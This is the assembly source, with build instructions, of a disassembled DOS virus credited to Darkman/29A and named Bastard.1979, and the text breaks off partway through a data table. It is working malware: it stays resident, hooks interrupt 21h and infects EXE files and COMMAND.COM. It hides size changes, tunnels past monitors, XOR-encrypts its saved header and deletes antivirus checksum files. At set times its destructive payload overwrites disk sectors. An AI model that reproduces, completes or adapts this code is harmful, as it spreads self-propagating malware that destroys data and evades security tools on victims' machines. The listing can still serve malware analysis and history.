comment *
                              Bastard.1979             млллллм млллллм млллллм
                             Disassembly by            ллл ллл ллл ллл ллл ллл
                              Darkman/29A               мммллп плллллл ллллллл
                                                       лллмммм ммммллл ллл ллл
						       ллллллл ллллллп ллл ллл

  Bastard.1979 is a 1979 bytes resident appending COMMAND.COM and EXE virus.
  Infects files at open file, delete file, get or set file attributes and load
  and execute program. Bastard.1979 has an error handler, 8-bit exclusive OR
  (XOR) encryption in file, retro structures, filesize stealth, tunneling of
  interrupt 21h and both a destructive and non-destructive payload.

  To compile Bastard.1979 with Turbo Assembler v 5.0 type:
    TASM /M BASTARD.ASM
    TLINK /t /x BASTARD.OBJ
*

.model tiny
.code
 org   100h				 ; Origin of Bastard.1979

code_begin:
	     jmp     first_genera

	     db      03h dup(?)
virus_begin:
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     sub     ax,ax		 ; Zero AX
	     mov     es,ax		 ; ES = segment of interrupt table
	     mov     ax,es:[0feh*04h]	 ; AX = segment of interrupt 0FEh
	     db      10000011b,11111000b ; CMP AX,40h (opcode 83h,0f8h,40h)
	     db      01000000b		 ; Already resident?
	     je      virus_exit 	 ; Equal? Jump to virus_exit

	     mov     ah,30h		 ; Get DOS version
	     int     21h
	     cmp     al,04h		 ; DOS v 4.xx?
	     jl      virus_exit 	 ; Less? Jump to virus_exit

             push    cs:[program_seg]    ; Save segment of PSP for current ...
	     pop     ax 		 ; Load AX from stack (segment of ...)
	     dec     ax 		 ; AX = segment of current Memory C...
	     push    ax 		 ; Save AX at stack
	     pop     es 		 ; Load ES from stack (AX)

	     sub     di,di		 ; Zero DI
	     cmp     byte ptr es:[di],'Z'
	     jne     virus_exit 	 ; Not last block in chain? Jump to...

	     mov     ax,(data_end-code_begin)
	     mov     cl,04h		 ; Divide by paragraphs
	     shr     ax,cl		 ; AX = length of virus in paragraphs

             mov     bx,es:[di+03h]      ; BX = size of memory block in p...
	     sub     bx,ax		 ; BX = new size of memory block in...
	     mov     es:[di+03h],bx	 ; Store new size of memory block i...
	     sub     es:[di+12h],ax	 ; Subtract length of virus in para...

	     push    word ptr es:[di+12h]
	     push    word ptr es:[di+12h]
	     pop     [virus_seg]	 ; Load segment of virus at top of ...
	     pop     es 		 ; Load ES from stack (segment of ...)

	     mov     si,100h		 ; SI = offset of beginning of code
	     push    si 		 ; Save SI at stack
	     pop     di 		 ; Load DI from stack (SI)
	     mov     cx,(code_end-code_begin)
	     cld			 ; Clear direction flag
	     rep     movsb		 ; Move the virus to top of memory

	     push    ds 		 ; Save DS at stack
	     sub     ax,ax		 ; Zero AX
	     mov     ds,ax		 ; DS = segment of interrupt table
	     les     ax,ds:[21h*04h]	 ; ES:AX = pointer to interrupt 21h

	     mov     word ptr ds:[0feh*04h],40h
	     mov     bx,es		 ; BX = segment of interrupt 21h
	     pop     ds 		 ; Load DS from stack

	     push    [virus_seg]	 ; Save segment of virus at top of ...
	     pop     es 		 ; Load ES from stack (segment of ...)

	     mov     word ptr es:[int21_addr__],ax
	     mov     word ptr es:[int21_addr__+02h],bx
	     mov     word ptr es:[int21_addr_],ax
	     mov     word ptr es:[int21_addr_+02h],bx

	     jmp     tunneler
virus_exit:
	     call    decrypt_head

	     push    cs:[program_seg]	 ; Save segment of PSP for current ...
	     pop     cs:[program_seg_]	 ; Load segment of PSP for current ...

	     call    restore

payload      proc    near		 ; Payload of Bastard.1979
	     mov     ah,2ch		 ; Get system time
	     call    int21_simula
	     cmp     ch,12h		 ; Eighteen o'clock?
	     jne     no_payload 	 ; Not equal? Jump to no_payload
	     cmp     dh,37h		 ; Fifty-five minutes?
	     je      second_paylo	 ; Not equal? Jump to second_paylo
	     cmp     dh,18h		 ; Twenty-four minutes?
	     jne     no_payload 	 ; Not equal? Jump to no_payload

	     mov     dx,01h		 ; DX = starting logical sector number
	     mov     cx,64h		 ; CX = number of sectors to write
	     mov     al,00h		 ; AL = drive number (A:)
	     int     26h

	     popf			 ; Load flags from stack

	     stc			 ; Set carry flag

	     ret			 ; Return
no_payload:
	     clc			 ; Clear carry flag

	     ret			 ; Return
second_paylo:
	     call    payload_
	     endp

dos_data_seg dw      ?			 ; Segment of DOS data segment
scan_string  db      90h,90h,0e8h,0cch,00h
	     db      02h dup(00h)
int21_addr   dd      ?			 ; Address of interrupt 21h
int21_addr_  dd      ?			 ; Address of interrupt 21h

int21_simula proc    near		 ; Simulate interrupt 21h
	     pushf			 ; Save flags at stack
	     call    cs:[int21_addr_]

	     ret			 ; Return
	     endp

find_kernel  proc    near		 ; Find DOS kernel in High Memory A...
	     push    ds 		 ; Save DS at stack
	     mov     ax,[di]		 ; AX = segment of DOS data segment

	     push    ax 		 ; Save AX at stack
	     pop     ds 		 ; Load DS from stack (AX)

	     sub     si,si		 ; Zero SI
             mov     cx,1388h            ; Search through five thousand bytes
find_kernel_:
	     lodsb			 ; AL = byte of DOS data segment
	     cmp     al,cs:[di+02h]	 ; Found DOS kernel?
	     jne     not_kernel 	 ; Not equal? Jump to not_kernel

	     call    exam_kernel
	     jc      found_kerne_	 ; Found DOS kernel? Jump to found_...
not_kernel:
	     loop    find_kernel_
	     pop     ds 		 ; Load DS from stack

	     stc			 ; Set carry flag

	     ret			 ; Return
	     endp

exam_kernel  proc    near		 ; Examine DOS kernel in High Memor...
	     push    es cx di si	 ; Save registers at stack
	     dec     si 		 ; SI = offset of DOS kernel
	     add     di,02h		 ; DI = offset of scan_string

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     mov     cx,05h		 ; Compare five bytes
	     cld			 ; Clear direction flag
	     rep     cmpsb		 ; Found DOS kernel?
	     pop     si di cx es	 ; Load registers from stack
	     je      found_kernel	 ; Found DOS kernel? Jump to found_...

	     clc			 ; Clear carry flag

	     ret			 ; Return
found_kernel:
	     dec     si 		 ; SI = offset of DOS kernel

	     mov     word ptr cs:[int21_addr+02h],si
	     mov     word ptr cs:[int21_addr],ds

	     stc			 ; Set carry flag

	     ret			 ; Return
	     endp
found_kerne_:
	     pop     ds 		 ; Load DS from stack

	     clc			 ; Clear carry flag

	     ret			 ; Return
tunneler:
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack

	     mov     ah,34h		 ; Get address of InDOS flag
	     int     21h
             mov     [dos_data_seg],es   ; Store segment of DOS data segment

	     lea     di,dos_data_seg	 ; DI = offset of dos_data_seg
	     call    find_kernel
	     jc      exam_i0fbh 	 ; Didn't find DOS kernel? Jump to ...

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     push    [virus_seg]	 ; Save segment of virus at top of ...
	     pop     es 		 ; Load ES from stack (segment of ...)

	     push    word ptr cs:[int21_addr+02h]
	     pop     word ptr es:[int21_addr_]
	     push    word ptr cs:[int21_addr]
	     pop     word ptr es:[int21_addr_+02h]

	     jmp     set_vec_i21h
exam_i0fbh:
	     sub     ax,ax		 ; Zero AX
	     mov     es,ax		 ; ES = segment of interrupt table
	     cmp     es:[0fbh*04h],1615h ; Already resident?
	     jne     set_vec_i21h	 ; Not equal? Jump to set_vec_i21h

	     push    [virus_seg]	 ; Save segment of virus at top of ...
	     pop     ds 		 ; Load DS from stack (segment of ...)

	     push    es:[0fah*04h]	 ; Save segment of interrupt 0FAh a...
	     pop     word ptr [int21_addr_]
             push    es:[0fah*04h+02h]   ; Save offset of interrupt 0FAh at...
	     pop     word ptr [int21_addr_+02h]
set_vec_i21h:
	     push    cs:[virus_seg]	 ; Save segment of virus at top of ...
	     pop     es 		 ; Load ES from stack (segment of ...)

	     push    ds 		 ; Save DS at stack
	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     lea     dx,int21_virus	 ; DX = offset of int21_virus
	     mov     ax,2521h		 ; Set interrupt vector 21h
	     int     21h
	     pop     ds 		 ; Load DS from stack

	     jmp     virus_exit

	     db      'This virus was written by Doctor Revenge November 23 - December 29 1993 -Italy-'
fcb_stealth:
	     pushf			 ; Save flags at stack
	     call    int21_simula
	     popf			 ; Load flags from stack
	     test    al,al		 ; Successful?
	     jnz     filesiz_exi_	 ; Not zero? Jump to filesize_exi_

	     push    ax bx dx si es ds
	     mov     ah,51h		 ; Get current PSP address
	     call    int21_simula
             mov     es,bx                 ES = segment of PSP for current ...
	     cmp     bx,es:[16h]	 ; Parent PSP equal to current PSP?
	     jne     filesiz_exit	 ; Not equal? Jump to filesiz_exit

	     mov     si,dx		 ; SI = offset of unopened FCB

             mov     ah,2fh              ; Get Disk Transfer Area (DTA) add...
	     call    int21_simula

	     lodsb			 ; AL = signature for extended FCB
	     sub     si,si		 ; Zero SI
             inc     al                  ; Extended File Control Block (XFCB)?
	     jnz     not_extended	 ; Not zero? Jump to not_extended

             add     bx,07h              ; BX = offset of File Control Bloc...
not_extended:
	     mov     ax,es:[bx+17h]	 ; AX = file time
	     db      10000011b,11100000b ; AND AX,1Fh (opcode 83h,0e0h,1fh)
	     db      00011111b
	     db      10000011b,11111000b ; CMP AX,1Eh (opcode 83h,0f80h,1eh)
	     db      00011110b
	     jne     filesiz_exit	 ; Not equal? Jump to filesiz_exit

	     mov     ax,es:[bx+1dh]	 ; AX = low-order word of filesize
	     mov     dx,es:[bx+1fh]	 ; DX = high-order word of filesize

	     sub     ax,(code_end-code_begin)
	     sbb     dx,00h		 ; Convert to 32-bit
	     jb      filesiz_exit	 ; Below? Jump to filesiz_exit

	     mov     es:[bx+1dh],ax	 ; Store low-order word of filesize
	     mov     es:[bx+1fh],dx	 ; Store high-order word of filesize
filesiz_exit:
	     pop     ds es si dx bx ax	 ; Load registers from stack
filesiz_exi_:
	     iret			 ; Interrupt return

int21_virus  proc    near		 ; Interrupt 21h of Bastard.1979
	     cmp     ah,43h		 ; Get or set file attributes
	     je      infect_file	 ; Equal? Jump to infect_file
	     cmp     ah,41h		 ; Delete file?
	     je      infect_file	 ; Equal? Jump to infect_file
	     cmp     ah,3dh		 ; Open file?
	     je      infect_file	 ; Equal? Jump to infect_file
	     cmp     ax,4b00h		 ; Load and execute program?
	     je      infect_file	 ; Equal? Jump to infect_file

	     cmp     ah,11h		 ; Find first matching file (FCB)?
	     je      fcb_stealth	 ; Equal? Jump to fcb_stealth
	     cmp     ah,12h		 ; Find next matching file (FCB)?
	     je      fcb_stealth	 ; Equal? Jump to fcb_stealth

	     jmp     int21_exit
	     endp
infect_file:
	     cli			 ; Clear interrupt-enable flag
	     mov     cs:[stack_seg],ss	 ; Store stack segment
	     mov     cs:[stack_ptr],sp	 ; Store stack pointer

	     push    cs 		 ; Save CS at stack
	     pop     ss 		 ; Load SS from stack (CS)
	     lea     sp,stack_ptr_	 ; SP = offset of stack_ptr_
	     sti			 ; Set interrupt-enable flag

	     push    ax bx cx dx bp si di es ds
	     sub     ax,ax		 ; Zero AX
	     mov     es,ax		 ; ES = segment of interrupt table
	     les     ax,es:[24h*04h]	 ; ES:AX = pointer to interupt 24h

	     push    ax 		 ; Save AX at stack
	     push    es 		 ; Save ES at stack
	     pop     word ptr cs:[int24_addr]
	     pop     word ptr cs:[int24_addr+02h]

	     sub     ax,ax		 ; Zero AX
	     mov     es,ax		 ; ES = segment of interrupt table
	     mov     es:[24h*04h],offset int24_virus
	     mov     es:[24h*04h+02h],cs ; Set interrupt vector 24h

	     push    ds 		 ; Save DS at stack
	     pop     word ptr cs:[filename_ptr]
	     push    dx 		 ; Save DX at stack
	     pop     word ptr cs:[filename_ptr+02h]

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     call    payload
	     jc      infect_exit	 ; Payload? Jump to infect_exit

	     call    break_store
	     call    infect_file_
	     call    break_load
infect_exit:
	     sub     ax,ax		 ; Zero AX
	     push    ax 		 ; Save AX at stack
	     pop     es 		 ; Load ES from stack (AX)

	     push    word ptr [int24_addr]
	     push    word ptr [int24_addr+02h]
             pop     es:[24h*04h]        ; Load address of interrupt 24h fr...
             pop     es:[24h*04h+02h]    ;  "      "    "      "      "    "
	     pop     ds es di si bp dx cx bx ax

	     cli			 ; Clear interrupt-enable flag
	     push    cs:[stack_seg]	 ; Save stack segment at stack
             pop     ss                  ; Load SS from stack (stack segment)
	     mov     sp,cs:[stack_ptr]	 ; SP = stack pointer
	     sti			 ; Set interrupt-enable flag
int21_exit:
	     jmp     cs:[int21_addr__]

	     iret			 ; Interrupt return
infect_com:
	     call    examine_file
	     jc      infect_exit_	 ; Found name? Jump to infect_exit_

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ah,3fh		 ; Read from file
	     mov     cx,04h		 ; Read four bytes
	     lea     dx,origin_code	 ; DX = offset of origin_code
	     mov     bx,[file_handle]	 ; BX = file handle
	     call    int21_simula

	     cmp     [origin_code+03h],0bh
             je      close_file          ; Already infected? Jump to close_...

	     mov     ax,word ptr [filesize+02h]
             db      10000011b,11101000b ; SUB AX,03h (opcode 83h,0e8h,03h)
             db      00000011b           ; AX = offset of virus within infe...
	     mov     cs:[virus_offset],ax

	     mov     al,00h		 ; Set current file position (SOF)
	     call    set_file_pos

             mov     ah,40h              ; Write to file
	     mov     cx,04h		 ; Write four bytes
	     lea     dx,infect_code	 ; DX = offset of infect_code
	     mov     bx,[file_handle]	 ; BX = file handle
	     call    int21_simula

	     mov     al,02h		 ; Set current file position (EOF)
	     call    set_file_pos

	     mov     ah,40h		 ; Write to file
	     mov     cx,(code_end_-code_begin_)
	     mov     bx,[file_handle]	 ; BX = file handle
	     lea     dx,code_begin_	 ; DX = offset of code_begin_
	     call    int21_simula
close_file:
	     call    close_file__

	     jmp     infect_exit_

infect_file_ proc    near		 ; Infect EXE file
	     clc			 ; Set carry flag
	     call    examine_nam_
	     jc      infect_com 	 ; COMMAND.COM? Jump to infect_com
	     call    examine_ext
	     jc      delete_file	 ; Found file? Jump to delete_file
	     call    examine_file
	     jc      infect_exit_	 ; Found name? Jump to infect_exit_

	     call    read_header
	     jc      close_file_	 ; Error? Jump to close_file_

	     call    examine_fil_
	     jc      close_file_	 ; Don't infect? Jump to close_file_

	     call    header_store
	     call    header_load

	     call    write_header
	     jc      close_file_	 ; Error? Jump to close_file_

	     call    write_virus
	     call    set_file_inf
close_file_:
	     call    close_file__
infect_exit_:
	     ret			 ; Return
	     endp

set_file_inf proc    near		 ; Set file's date and time
	     mov     dx,[file_date]	 ; DX = file date
	     mov     cx,[file_time]	 ; CX = file time
	     or      cl,00011111b	 ; Set infection mark (60 seconds)
	     and     cl,11111110b	 ;  "      "      "     "    "
	     mov     bx,[file_handle]	 ; BX = file handle
	     mov     ax,5701h		 ; Set file's date and time
	     call    int21_simula

	     ret			 ; Return
	     endp

examine_name proc    near		 ; Examine the filename
	     push    ds 		 ; Save DS at stack
	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     add     di,20h		 ; DI = offset of filename
	     mov     si,di		 ; SI =   "    "     "
	     lodsw			 ; AX = two bytes of filename
	     pop     ds 		 ; Load DS from stack
	     xchg    ax,bx		 ; BX = to bytes of filename

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     lea     si,name_table	 ; SI = offset of name_table
	     mov     cx,(table_end-table_begin)/02h
compare_loop:
	     lodsw			 ; AX = two bytes of name_table
	     cmp     ax,bx		 ; Found name?
	     je      found_name 	 ; Equal? Jump to found_name

	     loop    compare_loop

	     clc			 ; Clear carry flag

	     ret			 ; Return
found_name:
	     stc			 ; Store carry flag

	     ret			 ; Return
	     endp
delete_file:
	     push    ds 		 ; Save DS at stack
	     push    word ptr [filename_ptr]
             pop     ds                  ; Load DS from stack (pointer to ...)
	     mov     dx,word ptr cs:[filename_ptr+02h]

	     mov     ah,41h		 ; Delete file
	     call    int21_simula
	     pop     ds 		 ; Load DS from stack
	     jmp     infect_exit_

int24_virus  proc    near		 ; Interrupt 24h of Bastard.1979
	     mov     al,03h		 ; AL = fail system call in progress

	     iret			 ; Interrupt return
	     endp

break_state  db      ?			 ; Break state

break_store  proc    near		 ; Get and set extended break state
	     mov     ax,3300h		 ; Get extended break state
	     call    int21_simula
	     mov     [break_state],dl	 ; Store break state

	     mov     al,01h		 ; Set extended break state
	     sub     dx,dx		 ; DL = new state (off)
	     call    int21_simula

	     ret			 ; Return
	     endp

break_load   proc    near		 ; Set extended break state
	     mov     ax,3301h		 ; Set extended break state
	     mov     dl,[break_state]	 ; DL = new state
	     call    int21_simula

	     ret			 ; Return
	     endp

examine_file proc    near		 ; Examine the file
	     push    ds 		 ; Save DS at stack
	     push    word ptr [filename_ptr]
	     pop     ds 		 ; Load DS from stack (pointer to ...)
	     mov     dx,word ptr cs:[filename_ptr+02h]

	     mov     ax,3d00h		 ; Open file (read)
	     call    int21_simula
	     pop     ds 		 ; Load DS from stack
	     jc      dont_infect	 ; Error? Jump to dont_infect
	     mov     [file_handle],ax	 ; Store file handle
	     xchg    ax,bx		 ; BX = file handle

	     mov     ax,1220h		 ; Get system file table number
	     int     2fh

	     mov     bl,es:[di] 	 ; BL = system file table entry
	     mov     ax,1216h		 ; Get address of system FCB
	     int     2fh

	     push    es di		 ; Save registers at stack
	     call    examine_name
	     pop     di es		 ; Load registers from stack
	     jc      dont_infect	 ; Found name? Jump to dont_infect

	     mov     word ptr es:[di+02h],02h

	     mov     ah,es:[di+04h]	 ; AH = file attributes
	     mov     [file_attr],ah	 ; Store file attributes

	     push    es:[di+0fh]	 ; Save file date at stack
	     pop     [file_date]	 ; Load file date from stack
	     push    es:[di+0dh]	 ; Save file time at stack
	     pop     [file_time]	 ; Load file time from stack

	     mov     byte ptr es:[di+04h],00100000b

             push    es:[di+11h]         ; Save low-order word of filesize ...
	     pop     word ptr [filesize+02h]
             mov     ax,0bb8h            ; Three thousand bytes?
	     cmp     ax,word ptr [filesize+02h]
             ja      dont_infect         ; Filesize too large? Jump to dont...

             push    es:[di+13h]         ; Save high-order word of filesize...
             pop     word ptr [filesize] ; Load high-order word of filesize...

	     clc			 ; Clear carry flag

	     ret			 ; Return
dont_infect:
	     stc			 ; Store carry flag

	     ret			 ; Return
	     endp

read_header  proc    near		 ; Read header from file
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ah,3fh		 ; Read from file
	     mov     bx,[file_handle]	 ; BX = file handle
	     mov     cx,1ch		 ; Read twenty-eight bytes
	     lea     dx,file_header	 ; DX = offset of file_header
	     call    int21_simula

	     clc			 ; Clear carry flag

	     ret			 ; Return
	     endp

examine_fil_ proc    near		 ; Examine the file
	     push    ds 		 ; Save DS at stack
	     call    find_dot
             jc      dont_infec          ; Didn't find dot? Jump to dont_in...

	     lodsw			 ; AX = two byts of file extension
	     cmp     ax,'XE'             ; EXE executable?
	     jne     dont_infec 	 ; Not equal? Jump to dont_infec
	     lodsb			 ; AL = one byte of file extension
	     cmp     al,'E'              ; EXE executable?
	     jne     dont_infec 	 ; Not equal? Jump to dont_infec
	     pop     ds 		 ; Load DS from stack

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     cmp     word ptr [file_header],'ZM'
             jne     dont_infect_        ; EXE sginature? Jump to dont_infect_

	     cmp     word ptr [file_header+12h],'WC'
             jne     do_infect           ; Already infected? Jump to do_infect
dont_infect_:
	     stc			 ; Set carry flag

	     ret			 ; Return
dont_infec:
	     pop     ds 		 ; Load DS from stack

	     stc			 ; Set carry flag

	     ret			 ; Return
do_infect:
	     clc			 ; Clear carry flag

	     ret			 ; Return
	     endp

header_load  proc    near		 ; Load EXE header
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ax,word ptr [filesize+02h]
	     mov     dx,word ptr [filesize]
	     mov     [file_padding],00h  ; Zero length of file padding

	     mov     cx,10h		 ; Divide by paragraphs
	     div     cx 		 ; AX:DX = filesize in paragraphs
	     cmp     dx,00h		 ; No file padding?
	     je      no_padding 	 ; Equal? Jump to no_padding

	     mov     ax,10h		 ; AX = length of file padding
             sub     ax,dx               ; Subtact low-order word of filesi...
	     add     word ptr [filesize+02h],ax
	     mov     [file_padding],ax	 ; Store length of file padding
no_padding:
	     mov     ax,word ptr [filesize+02h]
	     mov     dx,word ptr [filesize]

	     mov     cx,10h		 ; Divide by paragraphs
	     div     cx 		 ; AX:DX = filesize in paragraphs

	     db      10000011b,11101000b ; SUB AX,10h (opcode 83h,0e8h,10h)
             db      00010000b           ; Subtract one paragraph from file...
	     sub     ax,word ptr [file_header+08h]

	     mov     word ptr [file_header+14h],100h
	     mov     word ptr [file_header+10h],2000h
	     mov     word ptr [file_header+12h],'WC'
	     mov     word ptr [file_header+0ch],0ffffh

	     mov     word ptr [file_header+16h],ax
	     mov     word ptr [file_header+0eh],ax

	     mov     ax,word ptr [filesize+02h]
	     mov     dx,word ptr [filesize]
	     add     ax,(code_end-code_begin)
	     adc     dx,00h		 ; DX:AX = filesize

	     mov     bx,200h		 ; Divide by pages
	     div     bx 		 ; AX:DX = filesize by pages

             inc     ax                  ; Increase total number of 512-byt...
	     mov     word ptr [file_header+04h],ax
	     mov     word ptr [file_header+02h],dx

	     ret			 ; Return
	     endp

write_header proc    near		 ; Write header to file
	     sub     ax,ax		 ; Set current file position (SOF)
	     call    set_file_pos

	     mov     ah,40h		 ; Write to file
	     mov     cx,1ch		 ; Write twenty-eight bytes
	     lea     dx,file_header	 ; DX = offset of file_header
	     mov     bx,[file_handle]	 ; BX = file handle
	     call    int21_simula

	     clc			 ; Clear carry flag

	     ret			 ; Return

	     stc			 ; Set carry flag

	     ret			 ; Return
	     endp

header_store proc    near		 ; Store EXE header
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ax,word ptr [file_header+0eh]
             mov     [initial_ss],ax     ; Store initial SS relative to sta...
	     mov     ax,word ptr [file_header+10h]
	     mov     [initial_sp],ax	 ; Store initial SP
	     mov     ax,word ptr [file_header+14h]
	     mov     [initial_ip],ax	 ; Store initial IP
	     mov     ax,word ptr [file_header+16h]
             mov     [initial_cs],ax     ; Store initial CS relative to sta...

	     call    encrypt_head

	     ret			 ; Return
	     endp

write_virus  proc    near		 ; Write virus to file
	     mov     al,02h		 ; Set current file position (EOF)
	     call    set_file_pos

	     mov     ah,40h		 ; Write to file
	     mov     cx,[file_padding]	 ; CX = number of bytes to write
	     sub     dx,dx		 ; Zero DX
	     mov     bx,[file_handle]	 ; BX = file handle
	     call    int21_simula

	     mov     ah,40h		 ; Write to file
	     mov     bx,[file_handle]	 ; BX = file handle
	     mov     cx,(code_end-code_begin)
	     mov     dx,100h		 ; DX = offset of beginning of code
	     call    int21_simula

	     ret			 ; Return
	     endp

close_file__ proc    near		 ; Close file
	     mov     ah,3eh		 ; Close file
	     mov     bx,[file_handle]	 ; BX = file handle
	     call    int21_simula

	     ret			 ; Return
	     endp

find_dot     proc    near		 ; Find the dot in the filename
	     push    word ptr [filename_ptr]
             pop     ds                  ; Load DS from stack (pointer to ...)
	     mov     si,word ptr cs:[filename_ptr+02h]

	     cld			 ; Clear direction flag
             mov     cx,80h              ; Search through hundred and twent...
find_dot_:
	     lodsb			 ; AL = byte of file extension
	     cmp     al,'.'              ; Dot?
	     je      found_dot		 ; Equal? Jump to found_dot

	     loop    find_dot_

	     stc			 ; Set carry flag

	     ret			 ; Return
found_dot:
	     clc			 ; Clear carry flag

	     ret			 ; Return
	     endp

set_file_pos proc    near		 ; Set current file position
	     push    ax bx cx dx	 ; Save registers at stack

	     mov     ah,42h		 ; Set current file position
	     sub     cx,cx		 ; Zero CX
	     xor     dx,dx		 ; Zero DX
	     mov     bx,cs:[file_handle] ; BX = file handle
	     call    int21_simula

	     pop     dx cx bx ax	 ; Load registers from stack

	     ret			 ; Return
	     endp

restore      proc    near		 ; Restore the infected file
	     mov     ax,cs:[program_seg_]
             mov     ds,ax               ; DS = segment of PSP for current ...

	     push    ds 		 ; Save DS at stack
	     pop     es 		 ; Load ES from stack (DS)

             mov     dx,ds               ; DX = segment of PSP for current ...
	     add     dx,10h		 ; DX = segment of beginning of code
	     mov     cx,dx		 ; CX =    "    "      "     "   "
             add     dx,cs:[initial_ss]  ; Add initial SS relative to start...

	     cli			 ; Clear interrupt-enable flag
	     push    dx 		 ; Save DX at stack
	     pop     ss 		 ; Load SS from stack (DX)

	     mov     sp,cs:[initial_sp]  ; SP = initial SP
	     sti			 ; Set interrupt-enable flag
             add     cx,cs:[initial_cs]  ; Add initial CS relative to start...

	     push    cx 		 ; Save CX at stack
	     push    cs:[initial_ip]	 ; Save initial IP at stack
	     retf			 ; Return far
	     endp

examine_nam_ proc    near		 ; Examine the filename
	     push    es ds		 ; Save registers at stack
	     call    find_dot
	     sub     si,08h		 ; SI = offset of filename

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)
	     lea     di,command_com	 ; DI = offset of command_com
	     mov     cx,0bh		 ; Compare eleven bytes
	     rep     cmpsb		 ; COMMAND.COM?
	     pop     ds es		 ; Load registers from stack
	     jne     not_command	 ; Not equal? Jump to not_command

	     stc			 ; Set carry flag

	     ret			 ; Return
not_command:
	     clc			 ; Set carry flag

	     ret			 ; Return
	     endp

examine_ext  proc    near		 ; Examine the file extension
	     push    ds 		 ; Save DS at stack
	     call    find_dot

	     lodsw			 ; AX = two bytes of file extension
             cmp     ax,'SM'             ; Microsoft Anti-Virus checksum file?
	     je      found_ext		 ; Equal? Jump to found_ext
             cmp     ax,'PC'             ; Central Point Anti-Virus checks...?
	     je      found_ext		 ; Equal? Jump to found_ext

	     jmp     not_found
found_ext:
	     pop     ds 		 ; Load DS from stack

	     stc			 ; Set carry flag

	     ret			 ; Return
not_found:
	     pop     ds 		 ; Load DS from stack

	     clc			 ; Clear carry flag

	     ret			 ; Return
	     endp
code_begin_:
	     call    delta_offset
delta_offset:
	     pop     si 		 ; Load SI from stack
	     sub     si,(delta_offset-code_begin_)

	     mov     ax,3521h		 ; Get interrupt vector 21j
	     int     21h
	     mov     cx,es		 ; CX = segment of interrupt 21h

	     sub     ax,ax		 ; Zero AX
	     mov     es,ax		 ; ES = segment of interrupt table
	     mov     ax,1615h		 ; Already resident
	     cmp     ax,es:[0fbh*04h]	 ; Already resident?
	     je      virus_exit_	 ; Equal? Jump to virus_exit_

	     mov     es:[0fbh*04h],ax	 ; Already resident
	     mov     es:[0fah*04h],bx	 ; Store offset of interrupt 21h
	     mov     es:[0fah*04h+02h],cx
virus_exit_:
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     mov     cx,04h		 ; Move four bytes
	     add     si,(origin_code-code_begin_)
	     mov     di,100h		 ; DI = offset of beginning of code
             rep     movsb               ; Move the original code to beginning

	     mov     ax,100h		 ; AX = offset of beginning of code
	     push    cs ax		 ; Save registers at stack
	     retf			 ; Return far

origin_code  db      04h dup(?) 	 ; Original code of infected file

encrypt_head proc    near		 ; Encrypt EXE header
	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     in      al,40h		 ; AL = 8-bit random number
	     mov     [crypt_key],al	 ; Store encryption/decryption key

	     lea     si,exe_header	 ; SI = offset of exe_header
	     mov     di,si		 ; DI =   "    "      "
	     mov     cx,(crypt_end-crypt_begin)
encrypt_loop:
	     lodsb			 ; AL = one byte of plain code
	     xor     al,[crypt_key]	 ; Encrypt one byte of plain code
	     stosb			 ; Store one byte of encrypted code

	     loop    encrypt_loop

	     ret			 ; Return
	     endp

decrypt_head proc    near		 ; Decrypt EXE header
	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     lea     si,exe_header	 ; SI = offset of exe_header
	     mov     di,si		 ; DI =   "    "      "
	     mov     cx,(crypt_end-crypt_begin)
	     mov     bh,cs:[crypt_key]	 ; BH = encryption/decryption key
decrypt_loop:
	     lodsb			 ; AL = one byte of encrypted code
	     xor     al,bh		 ; Decrypt one byte of encrypted code
	     stosb			 ; Store one byte of decrypted code

	     loop    decrypt_loop

	     ret			 ; Return
	     endp

decrypt_mesg proc    near		 ; Decrypt message
	     push    ds es si di	 ; Save registers at stack
	     push    cs cs		 ; Save segments at stack
	     pop     ds es		 ; Load segments from stack (CS)

	     mov     cx,(messag_end-messag_begin)
	     lea     si,message 	 ; SI = offset of message
	     mov     di,si		 ; DI =   "    "     "
	     cld			 ; Clear direction flag
decrypt_loo_:
	     lodsb			 ; AL = one byte of encrypted message
	     xor     al,0cch		 ; Decrypt one byte of message
	     stosb			 ; Store one byte of decrypted message

	     loop    decrypt_loo_
	     pop     di si es ds	 ; Load registers from stack

	     ret			; Return
	     endp

file_header  db      1ch dup(?) 	 ; File header
crypt_begin:
exe_header:
initial_cs   dw      0fff0h              ; Initial CS relative to start of ...
initial_ss   dw      ?                   ; Initial SS relative to start of ...
initial_ip   dw      ?			 ; Initial IP
initial_sp   dw      ?			 ; Initial SP
crypt_end:
program_seg  dw      ?                   ; Segment of PSP for current proce...
	     db      00h
virus_seg    dw      ?			 ; Segment of virus at top of memory
program_seg_ dw      ?                   ; Segment of PSP for current proce...
command_com  db      'COMMAND.COM'
int21_addr__ dd      ?			 ; Address of interrupt 21h
code_end_    equ     $+01h
stack_seg    dw      ?			 ; Stack segment
stack_ptr    dw      ?			 ; Stack pointer
	     db      08h dup(00h)
int24_addr   dd      ?			 ; Address of interrupt 24h
	     db      00h
file_handle  dw      ?			 ; File handle
filename_ptr dd      ?			 ; Pointer to filename
filesize     dd      ?			 ; Filesize
file_padding dw      ?			 ; Length of file padding
table_begin:
name_table   db      'SC'                ; McAfee ViruScan
	     db      'CL'                ;   "       "
